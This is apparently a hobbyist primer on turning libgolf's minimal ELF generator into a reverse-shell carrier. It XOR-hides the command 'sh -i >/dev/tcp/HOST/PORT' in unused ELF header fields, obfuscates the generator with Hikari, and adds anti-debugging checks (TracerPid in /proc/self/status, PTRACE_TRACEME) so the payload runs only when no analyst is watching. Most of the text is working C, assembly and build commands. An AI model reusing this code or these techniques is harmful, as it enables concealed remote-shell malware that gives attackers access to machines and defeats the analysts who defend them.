DEAD BYTES, Hardened
This is a short primer on obfuscating a minimal ELF with Hikari and hardening it
against dynamic analysis.
- Target: libgolf's dead-bytes
xcellerator/libgolf is a good repo purpose of which is to easily allow you to
customize fields within ELF and Program header.
It has a simple example on 01_dead_bytes, which is an ELF generator and it
writes a 126-byte ELF to disk. It shows how many fields within ELF files are
ignore by the Linux Loader. Instead of writing useless 0x58 bytes tho, you
could write a bash oneliner payload. Why? Why not lol!
The payload we will try smuggle will be:
sh -i >/dev/tcp/%s/%s 2>/dev/null 0>&1 &
This 40-byte template lives in nine ranges of the output ELF's header:
e_ident[8..15], e_version, e_shoff, e_flags,
e_shentsize/e_shnum/e_shstrndx, and two program-header fields which the loader
completely ignores so we will use them as free storage.
Saving them as raw bytes would not be wise so i just XOR'd those bytes.
There are two layers to XOR, two diff keys are being used each serving its job:
- Compile-time key
0x5A (just as demonstration) encrypts the generator's
own string literals ( HOST, PORT, "/bin/bash", "-c", "/proc/self/status" ) so
they don't sit in the binary as plaintext:
#define NETKEY 0x5A
#define STRLEN(s) (sizeof(s) - 1)
#define XENC(s, i) (((i) < STRLEN(s)) ? ((unsigned char)(s)[i] ^ NETKEY) : 0)
static const unsigned char lip[16] = {
XENC(LHOST, 0), XENC(LHOST, 1), XENC(LHOST, 2), XENC(LHOST, 3),
XENC(LHOST, 4), XENC(LHOST, 5), XENC(LHOST, 6), XENC(LHOST, 7),
XENC(LHOST, 8), XENC(LHOST, 9), XENC(LHOST, 10), XENC(LHOST, 11),
XENC(LHOST, 12), XENC(LHOST, 13), XENC(LHOST, 14), XENC(LHOST, 15)
};
- Runtime key
0x30 encrypts the reverse-shell template in the header fields. It's not a constant, it falls out of the ELF magic bytes, so the key never has to be stored:
unsigned char key = 0;
for (i = 0; i < 4; i++)
key ^= rb[i];
The generator writes the header fields with the template already XOR'd against that runtime key:
ehdr->e_version = LE32('\x54', '\x55', '\x46', '\x1f');
ehdr->e_shoff = LE64('\x44', '\x53', '\x40', '\x1f',
'\x15', '\x43', '\x1f', '\x15');
ehdr->e_flags = LE32('\x43', '\x10', '\x02', '\x0e');
Afterwards when the binary actually runs, it reads its own bytes back,
re-derives the key from the magic and XORs each field range to rebuild the
template:
for (i = 8; i <= 0x0F; i++) tmpl[pos++] = (char)(rb[i] ^ key);
for (i = 0x14; i <= 0x17; i++) tmpl[pos++] = (char)(rb[i] ^ key);
for (i = 0x28; i <= 0x2F; i++) tmpl[pos++] = (char)(rb[i] ^ key);
/* ... seven more ranges ... */
Rewriting libgolf64.h
Example on the github ships libgolf.h which includes multiple architectures
and that leans on libc. For this work ( for fun ) i replaced it with
libgolf64.h. This one is x86_64, no-libc variant that uses raw syscalls
directly ( the whole point of this was to keep the generator tiny and free of
anything a tracer can hook).
#define SYS_READ 0
#define SYS_OPEN 2
#define SYS_FORK 57
#define SYS_EXECVE 59
#define SYS_EXIT 60
static inline long osys(long n, long a, long b, long c)
{
long r;
asm volatile("syscall" : "=a"(r)
: "a"(n), "D"(a), "S"(b), "d"(c)
: "rcx", "r11", "memory");
return r;
}
So here we do not use printf, no malloc, no libc entry point. The binary
starts at a naked _start and never touches a shared library:
__attribute__((naked, noreturn)) void _start(void)
{
__asm__ volatile(
"movq (%%rsp), %%rdi\n\t"
"leaq 8(%%rsp), %%rsi\n\t"
"andq $-16, %%rsp\n\t"
"call run\n\t"
"xorl %%edi, %%edi\n\t"
"movq $60, %%rax\n\t"
"syscall\n\t"
"hlt\n"
::: "memory");
}
Everything else, such as populate_ehdr, populate_phdr, generate_elf,
format_filename is plain C in the header, assembling the 126-byte ELF by hand
and writing it out with open/write/close.
- Obfuscating the generator
hikari-clang -w -I. \
-DLHOST=\"127.0.0.1\" -DLPORT=\"4444\" \
-Os -fno-stack-protector -fomit-frame-pointer \
-fno-pie -no-pie -DNDEBUG -nostdlib -s \
-Wl,--gc-sections \
-mllvm -enable-strcry -mllvm -enable-constenc \
-mllvm -enable-subobf -mllvm -enable-cffobf \
-mllvm -enable-splitobf -mllvm -enable-bcfobf \
-mllvm -enable-indibran \
-o dead_bytes_hik dead_bytes.c
I ran this however i got a segfault (exit 139) before the output ELF was
written. This leads to:
The naked _start crash
Isolating passes one at a time showed indibran was required for the crash, but
safe on its own. The failure is the combination tho: indibran plus the other
function-level passes were corrupting the naked _start. But why?
_start is declared naked, so it has no prologue. The first instruction is
movq (%rsp), %rdi straight from the inline asm. Hikari's function-level passes
don't account for that because they inject their state machinery assuming a
normal frame exists and end up trampling the entry.
The fix was to patch Hikari's scheduler to skip naked functions in all three
per-function loops:
//before
for (Function &F : M)
if (!F.isDeclaration())
FP->runOnFunction(F);
// after
for (Function &F : M)
if (!F.isDeclaration() && !F.hasFnAttribute(Attribute::Naked))
FP->runOnFunction(F);
An incremental ninja clang rebuild (only the obfuscation pass library and the
clang driver relink) is enough. After that the obfuscated generator runs and
writes a .bin byte-identical to the plain gcc build.
- A deeper look into the obfuscated binary
Something that's pretty obvious is that the Hikari build is so much bigger. GCC
build was ~5.5KB while Hikari build was ~89KB.
Another thing is that strings will not return anything useful because strings
are XORED at compile time and decrypted in-register before use so nothing will
be inside rodata.
Also, the control flow. A decompiler view of the generator's run() shows
the flattening signature ( something like this ):
v = 0x228;
while (1) {
switch (v) {
case 0x228:
...
v = some_condition ? 0x9C : 0x1E4;
break;
case 0x9C:
...
v = 0x340;
break;
...
}
}
So, the original branching is gone and what's in its place is a big dispatcher
loop, a state variable and indirect jumps. Also you may notice a bunch of
movs or adds are just state arithmetic ( thanks to bcfobf ).
Now where is this practical? Well, statically reading the XOR scheme or the
header-field smuggling out of dead_bytes_hik binary is a grind and even tho
the syscalls are all still visible in the raw trace, the logic around them (
which bytes, which key, which field ) is buried under the flattening.
- Anti-Analysis hardening
The /proc check
The reliable one reads kernel truth from /proc/self/status and looks at
TracerPid. If a tracer is attached, that field is the tracer's PID and if it's
not, it's 0. The path is stored XOR-encrypted like everything else:
static const unsigned char lpst[18] = {
XENC("/proc/self/status", 0), XENC("/proc/self/status", 1),
/* -- through index 16 -- */
};
static int traced(void)
{
char st[20], b[512];
long fd, n, i;
dec(lpst, 18, st);
fd = osys(SYS_OPEN, (long)st, O_RDONLY, 0);
if (fd < 0) return 1; /* can't verify -> fail closed */
n = rdfd(fd, b, 511);
osys(SYS_CLOSE, fd, 0, 0);
if (n <= 0) return 1;
for (i = 0; i + 10 < n; i++)
if (b[i] == 'T' && b[i+1] == 'r' && /* ...TracerPid... */ b[i+9] == ':') {
i += 10;
while (b[i] == ' ' || b[i] == '\t') i++;
return b[i] != '0';
}
return 0;
}
Why can't strace inject fake that status check?
strace -e inject=ptrace:retval=0 is the classic bypass for a PTRACE_TRACEME
check. So what it does is that it forges the return value so the program thinks
its anti-debug syscall succeeded. But injection only rewrites syscall return
values. It cannot rewrite the buffer the kernel fills during read().
TracerPid in /proc/self/status is kernel truth, so the check is unfakeable.
A second check, ptrace(PTRACE_TRACEME), catches a tracer that slipped in
between the /proc read and the payload. It's weaker on its own and that's
exactly what inject defeats, but it's cheap redundancy. The ordering matters
tho, TRACEME on an untraced process makes the shell your tracer, which
would self-trigger the /proc check. So /proc goes first ptrace second:
if (traced()) /* /proc first: kernel truth */
return 0;
if (osys(SYS_PTRACE, 0, 0, 0) < 0) /* belt */
return 0;
And _start gets a deterministic exit so a bailed run returns clean:
"call run\n\t"
"xorl %%edi, %%edi\n\t" /* exit(0), no garbage rdi */
"movq $60, %%rax\n\t"
"syscall\n\t"
- Debugger posture
gdb is another ptrace tracer, so it dies to the same /proc check when it
launches the binary:
[Inferior 1 (process 20711) exited normally]
No payload written because the check fires before any interesting code runs.
Attaching to an already-running instance is a different story and that's because
of the fact that many distros ( the Debian/Ubuntu family ) run YAMA with
ptrace_scope=1, meaning a process can only trace its own descendants.
gdb attach and strace -p are not the process's parent, so the kernel refuses
them.
strace: attach: ptrace(PTRACE_SEIZE, ...): Operation not permitted
And that's before the payload drops.
There is also another way to stop debugging however this one requires us to have
ptrace_scope=0 or with CAP_SYS_PTRACE and that is called self-debugging:
fork() a child that PTRACE_ATTACHes the parent and that child will occupy
the single tracer slot so no one else can attach to the parent but given that
default is ptrace_scope=1 this step is not feasible.
Anyways now you have a binary that's a bit harder to RE.